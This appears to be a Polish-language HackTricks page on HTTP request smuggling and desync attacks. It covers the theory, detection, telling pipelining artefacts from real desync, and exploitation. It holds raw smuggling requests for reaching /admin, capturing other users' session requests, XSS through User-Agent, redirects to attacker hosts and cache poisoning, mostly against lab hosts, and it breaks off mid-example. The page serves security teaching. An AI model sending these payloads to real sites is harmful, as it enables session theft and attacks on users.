HTTP Request Smuggling / HTTP Desync Attack

Tip

Ucz się i ćwicz AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Ucz się i ćwicz Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE) Przeglądaj pełny katalog HackTricks Training dla ścieżek assessment (ARTA/GRTA/AzRTA) oraz Linux Hacking Expert (LHE).

Wsparcie HackTricks

What is

Ta podatność występuje, gdy desyncronization między front-end proxies a serwerem back-end pozwala attackerowi wysłać HTTP request, który zostanie interpreted jako single request przez front-end proxies (load balance/reverse-proxy) i as 2 request przez serwer back-end.
To pozwala użytkownikowi modify następny request, który dociera do serwera back-end po jego własnym.

Theory

RFC Specification (2161)

If a message is received with both a Transfer-Encoding header field and a Content-Length header field, the latter MUST be ignored.

Content-Length

The Content-Length entity header indicates the size of the entity-body, in bytes, sent to the recipient.

Transfer-Encoding: chunked

The Transfer-Encoding header specifies the form of encoding used to safely transfer the payload body to the user.
Chunked means that large data is sent in a series of chunks

Reality

Front-End (load-balance / Reverse Proxy) process the content-length or the transfer-encoding header and serwer Back-end process the other one, powodując desyncronization między 2 systemami.
To może być bardzo krytyczne, ponieważ attacker will be able to send one request do reverse proxy, który zostanie interpreted przez serwer back-end as 2 different requests. Danger tej techniki wynika z tego, że serwer back-end will interpret 2nd request injected tak, jakby came from the next client i real request tego klienta będzie part of the injected request.

Particularities

Pamiętaj, że w HTTP a new line character is composed by 2 bytes:

  • Content-Length: Ten header używa decimal number do wskazania number bytes body requestu. Oczekuje się, że body zakończy się na ostatnim znaku, a new line is not needed in the end of the request.
  • Transfer-Encoding: Ten header używa w body hexadecimal number do wskazania number bytes następnego chunk. Chunk musi end z new line, ale to new line isn’t counted przez length indicator. Ta metoda transferu musi kończyć się chunk of size 0 followed by 2 new lines: 0
  • Connection: Z mojego doświadczenia zaleca się używać Connection: keep-alive w pierwszym request request Smuggling.

Visible - Hidden

Główny problem z http/1.1 polega na tym, że wszystkie requesty idą w tym samym TCP socket, więc jeśli zostanie wykryta dyskrepancja między 2 systemami odbierającymi requesty, możliwe jest wysłanie jednego requestu, który zostanie potraktowany jako 2 różne requesty (lub więcej) przez final backend (albo nawet systemy pośredniczące).

This blog post proponuje nowe sposoby wykrywania desync attacks w systemie, które nie zostaną oznaczone przez WAF. W tym celu przedstawia zachowania Visible vs Hidden. Celem w tym przypadku jest próba znalezienia dyskrepancji w response przy użyciu technik, które mogą powodować desync bez faktycznego exploitowania czegokolwiek.

Na przykład, wysłanie requestu z normalnym host header i z headerem “ host“, jeśli backend skarży się na ten request (może dlatego, że wartość “ host“ jest nieprawidłowa), możliwe, że front-end nie zobaczył headera “ host“, podczas gdy final backend go użył, co bardzo prawdopodobnie oznacza desync między front-end i backend.

To byłaby dyskrepancja Hidden-Visible.

Jeśli front-end wziąłby pod uwagę header “ host“, ale front-end nie, mogłaby to być sytuacja Visible-Hidden.

Na przykład pozwoliło to wykryć desync między AWS ALB jako front-end i IIS jako backend. Stało się tak, ponieważ gdy wysłano “Host: foo/bar”, ALB zwrócił 400, Server; awselb/2.0, ale gdy wysłano “Host : foo/bar”, zwrócił 400, Server: Microsoft-HTTPAPI/2.0, co wskazywało, że response wysyłał backend. To jest sytuacja Hidden-Vissible (H-V).

Pamiętaj, że ta sytuacja nie jest poprawiana w AWS, ale można jej zapobiec, ustawiając routing.http.drop_invalid_header_fields.enabled i routing.http.desync_mitigation_mode = strictest.

Basic Examples

Tip

When trying to exploit this with Burp Suite disable Update Content-Length and Normalize HTTP/1 line endings in the repeater because some gadgets abuse newlines, carriage returns and malformed content-lengths.

HTTP request smuggling attacks are crafted by sending ambiguous requests that exploit discrepancies in how front-end and back-end servers interpret the Content-Length (CL) and Transfer-Encoding (TE) headers. These attacks can manifest in different forms, primarily as CL.TE, TE.CL, and TE.TE. Each type represents a unique combination of how the front-end and back-end servers prioritize these headers. The vulnerabilities arise from the servers processing the same request in different ways, leading to unexpected and potentially malicious outcomes.

Basic Examples of Vulnerability Types

https://twitter.com/SpiderSec/status/1200413390339887104?ref_src=twsrc%5Etfw%7Ctwcamp%5Etweetembed%7Ctwterm%5E1200413390339887104&ref_url=https%3A%2F%2Ftwitter.com%2FSpiderSec%2Fstatus%2F1200413390339887104

Tip

To the previous table you should add the TE.0 technique, like CL.0 technique but using Transfer Encoding.

CL.TE Vulnerability (Content-Length used by Front-End, Transfer-Encoding used by Back-End)

  • Front-End (CL): Processuje request na podstawie headera Content-Length.

  • Back-End (TE): Processuje request na podstawie headera Transfer-Encoding.

  • Attack Scenario:

  • Attacker wysyła request, w którym wartość headera Content-Length nie zgadza się z rzeczywistą długością contentu.

  • Serwer front-end przekazuje cały request do back-end, opierając się na wartości Content-Length.

  • Serwer back-end process the request as chunked z powodu headera Transfer-Encoding: chunked, interpretując pozostałe dane jako osobny, kolejny request.

  • Example:

POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 30
Connection: keep-alive
Transfer-Encoding: chunked

0

GET /404 HTTP/1.1
Foo: x

TE.CL Vulnerability (Transfer-Encoding used by Front-End, Content-Length used by Back-End)

  • Front-End (TE): Processuje request na podstawie headera Transfer-Encoding.

  • Back-End (CL): Processuje request na podstawie headera Content-Length.

  • Attack Scenario:

  • Attacker wysyła chunked request, w którym chunk size (7b) i rzeczywista długość contentu (Content-Length: 4) nie są zgodne.

  • Serwer front-end, respektując Transfer-Encoding, przekazuje cały request do back-end.

  • Serwer back-end, respektując Content-Length, process only the initial part of the request (7b bytes), leaving the rest as part of an unintended subsequent request.

  • Example:

POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 4
Connection: keep-alive
Transfer-Encoding: chunked

7b
GET /404 HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 30

x=
0

TE.TE Vulnerability (Transfer-Encoding used by both, with obfuscation)

  • Servers: Oba wspierają Transfer-Encoding, ale jeden może zostać oszukany i zignorować go przez obfuscation.

  • Attack Scenario:

  • Attacker wysyła request z obfuscated Transfer-Encoding headers.

  • Depending on which server (front-end or back-end) fails to recognize the obfuscation, a CL.TE or TE.CL vulnerability may be exploited.

  • The unprocessed part of the request, as seen by one of the servers, becomes part of a subsequent request, leading to smuggling.

  • Example:

POST / HTTP/1.1
Host: vulnerable-website.com
Transfer-Encoding: xchunked
Transfer-Encoding : chunked
Transfer-Encoding: chunked
Transfer-Encoding: x
Transfer-Encoding: chunked
Transfer-Encoding: x
Transfer-Encoding:[tab]chunked
[space]Transfer-Encoding: chunked
X: X[\n]Transfer-Encoding: chunked

Transfer-Encoding
: chunked

CL.CL Scenario (Content-Length used by both Front-End and Back-End)

  • Oba serwery process request wyłącznie na podstawie headera Content-Length.
  • Taki scenariusz zazwyczaj nie prowadzi do smuggling, ponieważ oba serwery interpretują długość requestu zgodnie.
  • Example:
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 16
Connection: keep-alive

Normal Request

CL.0 Scenario

  • Oznacza scenariusze, w których header Content-Length jest obecny i ma wartość inną niż zero, co wskazuje, że body requestu zawiera content. Back-end ignoruje header Content-Length (który jest traktowany jako 0), ale front-end go parsuje.
  • To kluczowe dla zrozumienia i tworzenia attacks smuggling, ponieważ wpływa na to, jak serwery określają koniec requestu.
  • Example:
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 16
Connection: keep-alive

Non-Empty Body

TE.0 Scenario

OPTIONS / HTTP/1.1
Host: {HOST}
Accept-Encoding: gzip, deflate, br
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.6312.122 Safari/537.36
Transfer-Encoding: chunked
Connection: keep-alive

50
GET <http://our-collaborator-server/> HTTP/1.1
x: X
0
EMPTY_LINE_HERE
EMPTY_LINE_HERE

0.CL Scenariusz

W sytuacji 0.CL request jest wysyłany z Content-Length, np.:

GET /Logon HTTP/1.1
Host: <redacted>
Content-Length:
7

GET /404 HTTP/1.1
X: Y

A front-end nie bierze pod uwagę Content-Length, więc wysyła do backendu tylko pierwszy request (do momentu 7 w przykładzie). Jednak backend widzi Content-Length i czeka na body, które nigdy nie nadchodzi, ponieważ front-end już czeka na response.

Jeśli jednak istnieje request, który można wysłać do backendu i na który odpowiedź jest zwracana przed otrzymaniem body requestu, ten deadlock nie wystąpi. W IIS na przykład dzieje się tak przy wysyłaniu requestów do forbidden words, takich jak /con (sprawdź documentation); w ten sposób początkowy request zostanie odpowiedziany bezpośrednio, a drugi request będzie zawierał request of the victim, np.:

GET / HTTP/1.1
X: yGET /victim HTTP/1.1
Host: <redacted>

Jest to przydatne do wywołania desync, ale do tej pory nie będzie miało żadnego wpływu.

Jednak post oferuje rozwiązanie tego problemu, konwertując atak 0.CL na CL.0 z double desync.

Breaking the web server

Ta technika jest też przydatna w scenariuszach, w których możliwe jest zepsucie web server podczas odczytu początkowych danych HTTP ale bez zamykania połączenia. W ten sposób body żądania HTTP zostanie uznane za następne żądanie HTTP.

Na przykład, jak wyjaśniono w tym writeup, w Werkzeug było możliwe wysłanie niektórych znaków Unicode i spowoduje to, że serwer się zepsuje. Jednak jeśli połączenie HTTP zostało utworzone z nagłówkiem Connection: keep-alive, body żądania nie zostanie odczytane, a połączenie nadal będzie otwarte, więc body żądania zostanie potraktowane jako następne żądanie HTTP.

Wymuszanie przez hop-by-hop headers

Nadużywając hop-by-hop headers, można wskazać proxy, aby usunęło nagłówek Content-Length lub Transfer-Encoding, dzięki czemu możliwe będzie wykorzystanie HTTP request smuggling.

Connection: Content-Length

For more information about hop-by-hop headers visit:

hop-by-hop headers

Znajdowanie HTTP Request Smuggling

Identyfikacja podatności na HTTP request smuggling często może zostać osiągnięta za pomocą technik timingowych, które polegają na obserwowaniu, ile czasu zajmuje serwerowi odpowiedź na zmanipulowane requests. Te techniki są szczególnie przydatne do wykrywania podatności CL.TE i TE.CL. Oprócz tych metod istnieją też inne strategie i narzędzia, które można wykorzystać do znalezienia takich podatności:

Znajdowanie podatności CL.TE za pomocą technik timingowych

  • Method:

  • Wyślij request, który jeśli aplikacja jest podatna, spowoduje, że back-end server będzie czekał na dodatkowe dane.

  • Example:

POST / HTTP/1.1
Host: vulnerable-website.com
Transfer-Encoding: chunked
Connection: keep-alive
Content-Length: 4

1
A
0

  • Observation:

  • Front-end server przetwarza request na podstawie Content-Length i ucina wiadomość przedwcześnie.

  • Back-end server, oczekując wiadomości chunked, czeka na następny chunk, który nigdy nie nadchodzi, powodując opóźnienie.

  • Indicators:

  • Timeouty lub długie opóźnienia w odpowiedzi.

  • Otrzymanie błędu 400 Bad Request od back-end server, czasami ze szczegółowymi informacjami o serwerze.

Znajdowanie podatności TE.CL za pomocą technik timingowych

  • Method:

  • Wyślij request, który jeśli aplikacja jest podatna, spowoduje, że back-end server będzie czekał na dodatkowe dane.

  • Example:

POST / HTTP/1.1
Host: vulnerable-website.com
Transfer-Encoding: chunked
Connection: keep-alive
Content-Length: 6

0
X
  • Observation:
  • Front-end server przetwarza request na podstawie Transfer-Encoding i przekazuje całą wiadomość dalej.
  • Back-end server, oczekując wiadomości na podstawie Content-Length, czeka na dodatkowe dane, które nigdy nie nadchodzą, powodując opóźnienie.

Inne metody znajdowania podatności

  • Differential Response Analysis:
  • Wyślij nieco różne wersje request i obserwuj, czy odpowiedzi server różnią się w nieoczekiwany sposób, co wskazuje na rozbieżność w parsowaniu.
  • Using Automated Tools:
  • Narzędzia takie jak rozszerzenie Burp Suite ‘HTTP Request Smuggler’ mogą automatycznie testować te podatności, wysyłając różne formy niejednoznacznych requests i analizując odpowiedzi.
  • Content-Length Variance Tests:
  • Wyślij requests z różnymi wartościami Content-Length, które nie są zgodne z rzeczywistą długością contentu, i obserwuj, jak server obsługuje takie niezgodności.
  • Transfer-Encoding Variance Tests:
  • Wyślij requests z obfuskowanymi lub błędnie sformatowanymi nagłówkami Transfer-Encoding i monitoruj, jak różnie front-end i back-end servers reagują na takie manipulacje.

Nagłówek Expect: 100-continue

Sprawdź, jak ten nagłówek może pomóc w exploitowaniu http desync w:

Special Http Headers

Testowanie podatności HTTP Request Smuggling

Po potwierdzeniu skuteczności technik timingowych, kluczowe jest sprawdzenie, czy requests klienta mogą zostać zmanipulowane. Prostą metodą jest próba zatrucia swoich requests, na przykład sprawienie, by request do / zwracał odpowiedź 404. Przykłady CL.TE i TE.CL omówione wcześniej w Basic Examples pokazują, jak zatruć request klienta, aby wywołał odpowiedź 404, mimo że klient próbował uzyskać dostęp do innego zasobu.

Key Considerations

Podczas testowania podatności na request smuggling poprzez ingerowanie w inne requests, pamiętaj:

  • Distinct Network Connections: Request “attack” i “normal” powinny być wysyłane przez oddzielne network connections. Użycie tej samej connection dla obu nie potwierdza obecności podatności.
  • Consistent URL and Parameters: Staraj się używać identycznych URL i nazw parametrów dla obu requests. Nowoczesne aplikacje często routują requests do konkretnych back-end servers na podstawie URL i parametrów. Dopasowanie ich zwiększa prawdopodobieństwo, że oba requests zostaną przetworzone przez ten sam server, co jest warunkiem powodzenia ataku.
  • Timing and Racing Conditions: Request “normal”, służący do wykrycia ingerencji ze strony request “attack”, konkuruje z innymi równoczesnymi requests aplikacji. Dlatego wyślij request “normal” natychmiast po request “attack”. Zajęte aplikacje mogą wymagać wielu prób, aby jednoznacznie potwierdzić podatność.
  • Load Balancing Challenges: Front-end servers działające jako load balancers mogą rozdzielać requests między różne back-end systems. Jeśli request “attack” i “normal” trafią do różnych systems, atak się nie powiedzie. Ten aspekt load balancing może wymagać kilku prób, aby potwierdzić podatność.
  • Unintended User Impact: Jeśli twój atak niezamierzenie wpłynie na request innego usera (nie request “normal”, który wysłałeś do detekcji), oznacza to, że twój atak wpłynął na innego usera aplikacji. Ciągłe testowanie może zakłócić działanie innym userom, co wymaga ostrożnego podejścia.

Odróżnianie artefaktów HTTP/1.1 pipelining od rzeczywistego request smuggling

Reuse connection (keep-alive) i pipelining mogą łatwo tworzyć iluzje “smuggling” w narzędziach testowych, które wysyłają wiele requests na tym samym socket. Naucz się odróżniać nieszkodliwe artefakty po stronie client od prawdziwego desync po stronie server.

Dlaczego pipelining tworzy klasyczne false positives

HTTP/1.1 ponownie wykorzystuje jedno połączenie TCP/TLS i łączy requests oraz responses w tym samym stream. W pipelining client wysyła wiele requests jeden po drugim i polega na odpowiedziach w kolejności. Częstym false-positive jest ponowne wysłanie nieprawidłowego payload w stylu CL.0 dwa razy na jednym connection:

POST / HTTP/1.1
Host: hackxor.net
Content_Length: 47

GET /robots.txt HTTP/1.1
X: Y

Odpowiedzi mogą wyglądać tak:

HTTP/1.1 200 OK
Content-Type: text/html


HTTP/1.1 200 OK
Content-Type: text/plain

User-agent: *
Disallow: /settings

Jeśli serwer zignorował wadliwy Content_Length, nie ma FE↔BE desync. Przy reuse twój klient faktycznie wysłał taki byte-stream, który serwer sparsował jako dwa niezależne requests:

POST / HTTP/1.1
Host: hackxor.net
Content_Length: 47

GET /robots.txt HTTP/1.1
X: YPOST / HTTP/1.1
Host: hackxor.net
Content_Length: 47

GET /robots.txt HTTP/1.1
X: Y

Wpływ: brak. Po prostu zdesynchronizowałeś swojego klienta z framingiem serwera.

Tip

Moduły Burp, które zależą od reuse/pipelining: Turbo Intruder z requestsPerConnection>1, Intruder z “HTTP/1 connection reuse”, Repeater “Send group in sequence (single connection)” lub “Enable connection reuse”.

Testy litmusowe: pipelining czy prawdziwy desync?

  1. Wyłącz reuse i przetestuj ponownie
  • W Burp Intruder/Repeater wyłącz HTTP/1 reuse i unikaj “Send group in sequence”.
  • W Turbo Intruder ustaw requestsPerConnection=1 i pipeline=False.
  • Jeśli zachowanie znika, to prawdopodobnie było to client-side pipelining, chyba że masz do czynienia z connection-locked/stateful targetami albo client-side desync.
  1. Sprawdzenie HTTP/2 nested-response
  • Wyślij request HTTP/2. Jeśli body odpowiedzi zawiera kompletną zagnieżdżoną odpowiedź HTTP/1, udowodniłeś błąd parsowania/desync po stronie backendu, a nie czysty artefakt klienta.
  1. Probing partial-requests dla front-endów connection-locked
  • Niektóre FE ponownie używają upstream BE connection tylko wtedy, gdy klient ponownie użył swojej. Użyj partial-requests, aby wykryć zachowanie FE odzwierciedlające reuse klienta.
  • Zobacz PortSwigger “Browser‑Powered Desync Attacks” dla techniki connection-locked.
  1. Probes stanu
  • Szukaj różnic między pierwszym a kolejnymi requestami na tym samym TCP connection (routing/validation pierwszego requestu).
  • Burp “HTTP Request Smuggler” zawiera probe stanu connection, który to automatyzuje.
  1. Wizualizuj wire
  • Użyj rozszerzenia Burp “HTTP Hacker”, aby bezpośrednio podczas eksperymentów z reuse i partial requests inspect concatenation i message framing.

Connection‑locked request smuggling (reuse-required)

Niektóre front-endy ponownie używają upstream connection tylko wtedy, gdy klient ponownie używa swojej. Prawdziwe smuggling istnieje, ale jest zależne od client-side reuse. Aby to rozróżnić i wykazać impact:

  • Udowodnij bug po stronie serwera
  • Użyj sprawdzenia HTTP/2 nested-response albo
  • Użyj partial-requests, aby pokazać, że FE ponownie używa upstream tylko wtedy, gdy robi to klient.
  • Pokaż realny impact nawet jeśli bezpośrednie nadużycie socketów między użytkownikami jest zablokowane:
  • Cache poisoning: zatruj współdzielone caches przez desync, tak aby odpowiedzi wpływały na innych użytkowników.
  • Internal header disclosure: ujawnij nagłówki wstrzyknięte przez FE (np. auth/trust headers) i przejdź do auth bypass.
  • Ominięcie kontroli FE: przemyć restricted paths/methods poza front-end.
  • Host-header abuse: połącz z osobliwościami host routing, aby przejść do wewnętrznych vhosts.
  • Workflow operatora
  • Odtwórz z kontrolowanym reuse (Turbo Intruder requestsPerConnection=2, albo Burp Repeater tab group → “Send group in sequence (single connection)”).
  • Następnie połącz to z primitive cache/header-leak/control-bypass i pokaż cross-user albo authorization impact.

Zobacz też connection‑state attacks, które są ściśle powiązane, ale technicznie nie są smuggling:

{{#ref}} ../http-connection-request-smuggling.md {{#endref}}

Ograniczenia client‑side desync

Jeśli celem jest browser-powered/client-side desync, złośliwy request musi dać się wysłać przez browser cross-origin. Triki z obfuskacją headerów nie zadziałają. Skup się na primitive dostępnych przez navigation/fetch, a potem przejdź do cache poisoning, header disclosure albo omijania kontroli front-endu tam, gdzie downstream components reflektują albo cache’ują odpowiedzi.

Dla tła i workflow end-to-end:

Browser HTTP Request Smuggling

Narzędzia pomocne w decyzji

  • HTTP Hacker (Burp BApp Store): ujawnia low-level HTTP behavior i socket concatenation.
  • “Smuggling or pipelining?” Burp Repeater Custom Action: https://github.com/PortSwigger/bambdas/blob/main/CustomAction/SmugglingOrPipelining.bambda
  • Turbo Intruder: precyzyjna kontrola reuse connection przez requestsPerConnection.
  • Burp HTTP Request Smuggler: zawiera probe stanu connection, aby wykryć routing/validation pierwszego requestu.

Note

Traktuj efekty zależne wyłącznie od reuse jako nieistotne, chyba że możesz udowodnić server-side desync i dołączyć konkretny impact (zatrucony artifact cache, ujawniony internal header umożliwiający privilege bypass, ominięta kontrola FE itd.).

Nadużywanie HTTP Request Smuggling

Ominięcie zabezpieczeń Front-Endu przez HTTP Request Smuggling

Czasami front-end proxies egzekwują środki bezpieczeństwa, analizując incoming requests. Jednak te środki można obejść, wykorzystując HTTP Request Smuggling, co pozwala uzyskać nieautoryzowany dostęp do restricted endpoints. Na przykład dostęp do /admin może być zewnętrznie zabroniony, a front-end proxy aktywnie blokuje takie próby. Mimo to proxy może nie sprawdzać embedded requests wewnątrz przemyconego HTTP requestu, pozostawiając lukę umożliwiającą obejście tych ograniczeń.

Rozważ poniższe przykłady pokazujące, jak HTTP Request Smuggling może służyć do obejścia kontroli bezpieczeństwa front-endu, szczególnie w odniesieniu do ścieżki /admin, która zwykle jest chroniona przez front-end proxy:

CL.TE Example

POST / HTTP/1.1
Host: [redacted].web-security-academy.net
Cookie: session=[redacted]
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 67
Transfer-Encoding: chunked

0
GET /admin HTTP/1.1
Host: localhost
Content-Length: 10

x=

W ataku CL.TE nagłówek Content-Length jest wykorzystywany dla początkowego request, podczas gdy kolejne osadzone request używają nagłówka Transfer-Encoding: chunked. Front-end proxy przetwarza początkowy request POST, ale nie sprawdza osadzonego request GET /admin, umożliwiając nieautoryzowany access do path /admin.

TE.CL Example

POST / HTTP/1.1
Host: [redacted].web-security-academy.net
Cookie: session=[redacted]
Content-Type: application/x-www-form-urlencoded
Connection: keep-alive
Content-Length: 4
Transfer-Encoding: chunked
2b
GET /admin HTTP/1.1
Host: localhost
a=x
0

Z kolei w ataku TE.CL początkowy request POST używa Transfer-Encoding: chunked, a następny osadzony request jest przetwarzany na podstawie nagłówka Content-Length. Podobnie jak w ataku CL.TE, front-end proxy pomija ukryty request GET /admin, nieumyślnie przyznając dostęp do chronionej ścieżki /admin.

Ujawnianie przepisywania requestów front-end

Aplikacje często używają front-end server do modyfikowania przychodzących requestów przed przekazaniem ich do back-end server. Typowa modyfikacja polega na dodawaniu nagłówków, takich jak X-Forwarded-For: <IP of the client>, aby przekazać IP klienta do back-end. Zrozumienie tych modyfikacji może być kluczowe, ponieważ może ujawnić sposoby na bypass protections lub uncover concealed information or endpoints.

Aby zbadać, jak proxy zmienia request, znajdź parametr POST, który back-end odzwierciedla w odpowiedzi. Następnie zbuduj request, używając tego parametru jako ostatniego, podobnie jak w poniższym przykładzie:

POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 130
Connection: keep-alive
Transfer-Encoding: chunked

0

POST /search HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 100

search=

W tej strukturze kolejne komponenty request są dopisywane po search=, który jest parametrem odzwierciedlanym w response. To odzwierciedlenie ujawni headers kolejnego request.

Ważne jest, aby dopasować header Content-Length zagnieżdżonego request do rzeczywistej długości content. Zalecane jest zaczynanie od małej wartości i stopniowe zwiększanie, ponieważ zbyt niska wartość obetnie odzwierciedlone dane, a zbyt wysoka może spowodować błąd request.

Ta technika ma też zastosowanie w kontekście podatności TE.CL, ale request powinien kończyć się search=\r\n0. Niezależnie od znaków nowej linii, wartości zostaną dopisane do parametru search.

Ta metoda służy głównie do zrozumienia modyfikacji request wprowadzanych przez front-end proxy, czyli zasadniczo do przeprowadzenia samodzielnego investigation.

Capturing other users’ requests

Da się przechwycić request kolejnego usera, dopisując konkretny request jako wartość parametru podczas operacji POST. Oto jak można to zrobić:

Dopisując poniższy request jako wartość parametru, możesz zapisać request następnego clienta:

POST / HTTP/1.1
Host: ac031feb1eca352f8012bbe900fa00a1.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 319
Connection: keep-alive
Cookie: session=4X6SWQeR8KiOPZPF2Gpca2IKeA1v4KYi
Transfer-Encoding: chunked

0

POST /post/comment HTTP/1.1
Host: ac031feb1eca352f8012bbe900fa00a1.web-security-academy.net
Content-Length: 659
Content-Type: application/x-www-form-urlencoded
Cookie: session=4X6SWQeR8KiOPZPF2Gpca2IKeA1v4KYi

csrf=gpGAVAbj7pKq7VfFh45CAICeFCnancCM&postId=4&name=asdfghjklo&email=email%40email.com&comment=

W tym scenariuszu parametr comment ma służyć do przechowywania treści w sekcji komentarzy posta na publicznie dostępnej stronie. W rezultacie zawartość następnego requestu pojawi się jako komentarz.

Ta technika ma jednak ograniczenia. Zazwyczaj przechwytuje dane tylko do separatora parametru użytego w przejętym requestcie. W przypadku formularzy kodowanych w URL tym separatorem jest znak &. Oznacza to, że przechwycona treść z requestu ofiary zatrzyma się na pierwszym &, który może nawet być częścią query string.

Dodatkowo warto zauważyć, że to podejście działa również z podatnością TE.CL. W takich przypadkach request powinien kończyć się search=\r\n0. Niezależnie od znaków nowej linii, wartości zostaną dopisane do parametru search.

Using HTTP request smuggling to exploit reflected XSS

HTTP Request Smuggling można wykorzystać do exploitowania stron podatnych na Reflected XSS, co daje znaczące korzyści:

  • Interakcja z użytkownikami celu nie jest wymagana.
  • Umożliwia exploitowanie XSS w częściach requestu, które są normalnie niedostępne, takich jak nagłówki HTTP request.

W scenariuszach, w których strona jest podatna na Reflected XSS przez nagłówek User-Agent, następujący payload pokazuje, jak wykorzystać tę podatność:

POST / HTTP/1.1
Host: ac311fa41f0aa1e880b0594d008d009e.web-security-academy.net
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0
Cookie: session=ac311fa41f0aa1e880b0594d008d009e
Transfer-Encoding: chunked
Connection: keep-alive
Content-Length: 213
Content-Type: application/x-www-form-urlencoded

0

GET /post?postId=2 HTTP/1.1
Host: ac311fa41f0aa1e880b0594d008d009e.web-security-academy.net
User-Agent: "><script>alert(1)</script>
Content-Length: 10
Content-Type: application/x-www-form-urlencoded

A=

Ten payload jest skonstruowany tak, aby exploitować podatność poprzez:

  1. Zainicjowanie żądania POST, pozornie typowego, z nagłówkiem Transfer-Encoding: chunked, aby wskazać początek smuggling.
  2. Następnie 0, oznaczające koniec chunked message body.
  3. Potem wprowadzane jest smuggled żądanie GET, w którym nagłówek User-Agent zostaje wstrzyknięty ze skryptem <script>alert(1)</script>, wyzwalając XSS, gdy server przetworzy to kolejne żądanie.

Manipulując User-Agent poprzez smuggling, payload omija normalne ograniczenia requestów, skutecznie exploitując podatność Reflected XSS w niestandardowy, ale efektywny sposób.

HTTP/0.9

Caution

W przypadku gdy user content jest odbijany w response z Content-type takim jak text/plain, co uniemożliwia wykonanie XSS. Jeśli server support HTTP/0.9, możliwe może być obejście tego!

Wersja HTTP/0.9 była wcześniejsza niż 1.0 i używa tylko werbów GET oraz nie odpowiada headers, tylko body.

W tym writeupie, zostało to wykorzystane przy użyciu request smuggling oraz vulnerable endpoint that will reply with the input of the user do smuglowania żądania z HTTP/0.9. Parametr, który miał zostać odbity w response, zawierał fake HTTP/1.1 response (with headers and body), więc response będzie zawierać poprawny wykonywalny kod JS z Content-Type text/html.

Exploiting On-site Redirects with HTTP Request Smuggling

Aplikacje często przekierowują z jednego URL do innego, używając hostname z nagłówka Host w redirect URL. Jest to powszechne w web servers takich jak Apache i IIS. Na przykład, żądanie do folderu bez końcowego slash powoduje redirect, aby dodać slash:

GET /home HTTP/1.1
Host: normal-website.com

Wyniki w:

HTTP/1.1 301 Moved Permanently
Location: https://normal-website.com/home/

Choć wydaje się nieszkodliwe, to zachowanie można wykorzystać za pomocą HTTP request smuggling, aby przekierować użytkowników na zewnętrzną stronę. Na przykład:

POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 54
Connection: keep-alive
Transfer-Encoding: chunked

0

GET /home HTTP/1.1
Host: attacker-website.com
Foo: X

To przemyt request może spowodować, że następny przetworzony request użytkownika zostanie przekierowany na website kontrolowaną przez attacker:

GET /home HTTP/1.1
Host: attacker-website.com
Foo: XGET /scripts/include.js HTTP/1.1
Host: vulnerable-website.com

Wyniki:

HTTP/1.1 301 Moved Permanently
Location: https://attacker-website.com/home/

W tym scenariuszu żądanie użytkownika o plik JavaScript zostaje przejęte. Atakujący może potencjalnie skompromitować użytkownika, serwując złośliwy JavaScript w odpowiedzi.

Exploiting Web Cache Poisoning via HTTP Request Smuggling

Web cache poisoning może zostać wykonane, jeśli jakikolwiek komponent front-end infrastructure caches content, zwykle w celu poprawy wydajności. Manipulując odpowiedzią serwera, można poison the cache.

Wcześniej widzieliśmy, jak odpowiedzi serwera można zmienić tak, aby zwracały błąd 404 (zobacz Basic Examples). Podobnie można nakłonić serwer, aby zwracał zawartość /index.html w odpowiedzi na żądanie /static/include.js. W konsekwencji zawartość /static/include.js zostaje w cache zastąpiona przez zawartość /index.html, przez co /static/include.js staje się niedostępny dla użytkowników, co może prowadzić do Denial of Service (DoS).

Ta technika staje się szczególnie skuteczna, jeśli zostanie odkryta Open Redirect vulnerability albo jeśli istnieje on-site redirect to an open redirect. Takie podatności można wykorzystać do zastąpienia cache’owanej zawartości /static/include.js skryptem kontrolowanym przez atakującego, co w praktyce umożliwia szeroko zakrojony atak Cross-Site Scripting (XSS) przeciwko wszystkim klientom żądającym zaktualizowanego /static/include.js.

Poniżej znajduje się ilustracja wykorzystania cache poisoning połączonego z on-site redirect to open redirect. Celem jest zmiana zawartości cache /static/include.js tak, aby serwowała kod JavaScript kontrolowany przez atakującego:

POST / HTTP/1.1
Host: vulnerable.net
Content-Type: application/x-www-form-urlencoded
Connection: keep-alive
Content-Length: 124
Transfer-Encoding: chunked

0

GET /post/next?postId=3 HTTP/1.1
Host: attacker.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 10

x=1

Zwróć uwagę na osadzony request kierowany do /post/next?postId=3. Ten request zostanie przekierowany do /post?postId=4, wykorzystując wartość Host header do określenia domeny. Zmieniając Host header, attacker może przekierować request na swoją domenę (on-site redirect to open redirect).

Po udanym socket poisoning, powinien zostać zainicjowany GET request do /static/include.js. Ten request zostanie zanieczyszczony przez wcześniejszy request on-site redirect to open redirect i pobierze content skryptu kontrolowanego przez attackera.

Następnie każdy request do /static/include.js będzie serwował cached content skryptu attackera, skutecznie uruchamiając szeroki XSS attack.

Using HTTP request smuggling to perform web cache deception

What is the difference between web cache poisoning and web cache deception?

  • W web cache poisoning attacker powoduje, że application zapisuje złośliwy content w cache, a ten content jest serwowany z cache innym użytkownikom application.
  • W web cache deception attacker powoduje, że application zapisuje w cache wrażliwy content należący do innego usera, a następnie attacker pobiera ten content z cache.

Attacker tworzy smuggled request, który pobiera wrażliwy content specyficzny dla usera. Rozważ następujący przykład:

`POST / HTTP/1.1`\
`Host: vulnerable-website.com`\
`Connection: keep-alive`\
`Content-Length: 43`\
`Transfer-Encoding: chunked`\
`` \ `0`\ ``\
